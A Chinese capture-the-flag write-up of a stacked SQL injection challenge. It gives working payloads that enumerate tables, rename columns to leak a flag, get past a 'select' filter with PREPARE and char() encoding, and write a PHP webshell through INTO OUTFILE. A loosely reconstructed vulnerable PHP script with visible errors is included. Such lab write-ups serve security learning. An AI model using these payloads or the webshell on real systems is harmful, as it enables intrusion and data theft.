考点:

  • 堆叠注入
  • SQL语句预处理

1. 堆叠注入

堆叠注入(Stacked Injection),顾名思义,就是通过一次性执行多条sql语句进行注入。在SQL中,分号;表示一条sql语句的结束,但是在结束一个sql语句后,如果后面还跟着一条sql语句,也会被一起执行了,造成了堆叠注入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
mysql> create database users;
Query OK, 1 row affected (0.00 sec)

mysql> use users;
Database changed

mysql> create table users(
-> username varchar(50),
-> password varchar(50)
-> );
Query OK, 0 rows affected (0.04 sec)

mysql> insert into users values('bantian','123456');
Query OK, 1 row affected (0.01 sec)

通过堆叠查询新建一个表:

1
2
3
4
5
6
7
8
9
mysql> select * from users where username='bantian';create table test like users;
+----------+----------+
| username | password |
+----------+----------+
| bantian | 123456 |
+----------+----------+
1 row in set (0.01 sec)

Query OK, 0 rows affected (0.03 sec)

show tables查看确实有新表test生成

1
2
3
4
5
6
7
8
mysql> show tables;
+-----------------+
| Tables_in_users |
+-----------------+
| test |
| users |
+-----------------+
2 rows in set (0.00 sec)

1

删除表test

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
mysql> select * from users;drop table test;
+----------+----------+
| username | password |
+----------+----------+
| bantian | 123456 |
+----------+----------+
1 row in set (0.00 sec)

Query OK, 0 rows affected (0.02 sec)

mysql> show tables;
+-----------------+
| Tables_in_users |
+-----------------+
| users |
+-----------------+
1 row in set (0.00 sec)

查询数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
mysql> select * from users where username='bantian';select 1,2;
+----------+----------+
| username | password |
+----------+----------+
| bantian | 123456 |
+----------+----------+
1 row in set (0.00 sec)

+---+---+
| 1 | 2 |
+---+---+
| 1 | 2 |
+---+---+
1 row in set (0.00 sec)

回到题目本身,先用堆叠注入看一下数据库信息:

1
?inject=1';show databases;%23

2

果然可以成功回显,然后看一下当前数据库的数据表:

1
?inject=1';show tables;%23

3

发现有两张表,1919810931114514words表,分别查看他们的字段信息:

1
?inject=1';show columns from `1919810931114514`;%23

4

1919810931114514只有一个名为flag的字段。

1
?inject=1';show columns from `words`;%23

8

words表中有两个字段,iddata,对应着var_dump()格式的输出1hahahah,所以可以推出,默认情况下是对words表进行查询的,回显的也是words表中的内容。

但是flag又应该是放在1919810931114514表中的,所以可以尝试将1919810931114514表和words表的名字互换:

1
2
3
4
// 先将words表重命名为words1,空出words名称
rename table `words` to `words1`;
// 然后将1919810931114514表的名称改为words
rename table `1919810931114514` to `words`;

最终的拼接为:

1
?inject=1';rename table `words` to `words1`;rename table `1919810931114514` to `words`;%23

5

提示Unknown column 'id' in 'where clause',所以猜测sql语句是这样的:

1
select * from words where id='$inject'

还需要修改列名,将原数字表中的flag字段改为id字段:

1
ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL

最终的payload为:

1
http://5ef52555-6434-481d-b238-bae5166bb61f.node3.buuoj.cn/?inject=1%27;rename table `words` to `words1`;rename table `1919810931114514` to `words`;alter table `words` change `flag` `id` varchar(100) character set utf8 collate utf8_general_ci not null;show columns from words;%23

6

flag字段已经被修改为id,所以最后只要进行查询即可,1' or '1'='1

7

其实这道题的代码大概可以摸出来,大致逻辑是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
function sql_waf($inject){
if (preg_match("/select|update|delete|drop|insert|where|\./i", $inject))
{
die('return preg_match("/select|update|delete|drop|insert|where|\./i", $inject)');
}
}
if (isset($_GET['inject'])){
$inject = $_GET['inject'];
sql_waf($inject);

$con = mysqli_connect($host, $user, $passwd, $dbname);
$sql = "select * from `word` where id = '$inject' limit 0,1;"

/* execute multi query*/
if (mysqli_multi_query($con, $sql)){
/* store first result set */
$result = mysqli_multi_query($con);
if (result){
if ($row = mysqli_fetch_row($result)){
var_dump($row);
}
}
}
mysqli_close($con);
}
?>

2. SQL预处理语句

以下关于SQL预处理的解释来自:

https://www.cnblogs.com/geaozhang/p/9891338.html

SQL语句的执行处理分为两种:

一、即时SQL

一条 SQL 在 DB 接收到最终执行完毕返回,大致的过程如下:

  1. 词法和语义解析;
  2. 优化 SQL 语句,制定执行计划;
  3. 执行并返回结果;
如上,一条 SQL 直接是走流程处理,一次编译,单次运行,此类普通语句被称作 Immediate Statements (即时 SQL)。

二、预处理SQL

​ 但是,绝大多数情况下,某需求某一条 SQL 语句可能会被反复调用执行,或者每次执行的时候只有个别的值不同(比如 select 的 where 子句值不同,update 的 set 子句值不同,insert 的 values 值不同)。如果每次都需要经过上面的词法语义解析、语句优化、制定执行计划等,则效率就明显不行了。
  所谓预编译语句就是将此类 SQL 语句中的值用占位符替代,可以视为将 SQL 语句模板化或者说参数化,一般称这类语句叫Prepared Statements。
  预编译语句的优势在于归纳为:一次编译、多次运行,省去了解析优化等过程;此外预编译语句能防止 SQL 注入。

三、语法
1
2
3
4
5
6
# 预处理语句定义
PREPARE stmt_name FROM preparable_stmt;
# 执行预处理语句
EXECUTE stmt_name [USING @var_name [, @var_name] ...]
# 删除(释义)定义
{DEALLOCATE | DROP} PREPARE stmt_name;
四、例子

4.1 利用字符串定义预处理SQL(直角三角形计算)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
mysql> PREPARE stmt1 FROM 'SELECT SQRT(POW(?,2) + POW(?,2)) AS hypotenuse';
Query OK, 0 rows affected (0.00 sec)
Statement prepared

mysql> SET @a=3;
Query OK, 0 rows affected (0.01 sec)

mysql> SET @b=4;
Query OK, 0 rows affected (0.00 sec)

mysql> EXECUTE stmt1 USING @a, @b;
+------------+
| hypotenuse |
+------------+
| 5 |
+------------+
1 row in set (0.01 sec)

mysql> DEALLOCATE PREPARE stmt1;
Query OK, 0 rows affected (0.01 sec)

4.2 利用变量定义预处理SQL(直角三角形计算)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
mysql> SET @s = 'SELECT SQRT(POW(?,2) + POW(?,2)) AS hypotenuse';
Query OK, 0 rows affected (0.01 sec)

mysql> PREPARE stmt2 FROM @s;
Query OK, 0 rows affected (0.01 sec)
Statement prepared

mysql> SET @c = 6;
Query OK, 0 rows affected (0.00 sec)

mysql> SET @d = 8;
Query OK, 0 rows affected (0.00 sec)

mysql> EXECUTE stmt2 USING @c, @d;
+------------+
| hypotenuse |
+------------+
| 10 |
+------------+
1 row in set (0.01 sec)

mysql> DEALLOCATE PREPARE stmt2;
Query OK, 0 rows affected (0.00 sec)

回到题目本身,当我们已经用堆叠注入获得了表名1919810931114514的时候,接下来可以借助SQL的预处理机制。

SQL引擎会将

1
concat(char(115,101,108,101,99,116), ' * from `1919810931114514`')

编译为

1
select * from `1919810931114514`

这样就绕过了一开始的waf对select的过滤。

最终的payload为:

1
?inject=1';PREPARE bantian from concat(char(115,101,108,101,99,116), ' * from `1919810931114514`');EXECUTE bantian;%23

9

3. 利用命令执行

这个方法比较tricky,是通过mysql向服务器写入文件,首先需要满足的条件就是root权限,以及GPC需要关闭(也就是能使用单引号)。

先进行查询,发现满足root权限:

1
?inject=1';PREPARE bantian from concat(char(115,101,108,101,99,116), ' user()');EXECUTE bantian;%23

10

1
?inject=1';SET @stmt=concat("se","lect '<?php @print_r(`$_GET['1']`);?>' into outfile '/var/www/html/1",char(46),"php'");PREPARE sql from @stmt;EXECUTE sql;%23

然后借助预处理语句和outfile将一句话木马写入1.php文件,然后我们看一下当前使用的是哪个数据库:

1
?inject=1';PREPARE bantian from concat(char(115,101,108,101,99,116), ' database();');EXECUTE bantian;%23

发现当前数据库是supersqli

12

然后注入命令进行查询:

1
1.php?1=mysql -uroot -proot -e "use supersqli;select flag from \`1919810931114514\`;"

11

这道题的解法还是很灵活的,但是这三个方法都是建立在堆叠注入的基础之上,这次又学到了一种新的注入方式。